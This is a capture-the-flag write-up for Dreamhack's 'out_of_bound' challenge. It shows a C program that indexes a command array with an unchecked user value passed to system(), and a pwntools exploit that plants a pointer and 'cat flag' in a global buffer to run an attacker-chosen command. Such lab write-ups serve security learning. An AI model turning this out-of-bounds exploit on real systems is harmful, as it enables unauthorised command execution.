out_of_bound

https://dreamhack.io/wargame/challenges/11

out_of_bound

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

 

 

인덱스의 범위를 상정하지 않는 OOB 취약점을 이용한다.

우리가 원하는 주소에 원하는 값을 집어넣는다.

 

 

exploit

from pwn import *
p = remote("host1.dreamhack.games",19757)
payload = p32(0x0804a0b0)
payload += b"cat flag"

p.send(payload)
p.send(b'19')

print(p.recvrepeat(1))
p.interactive()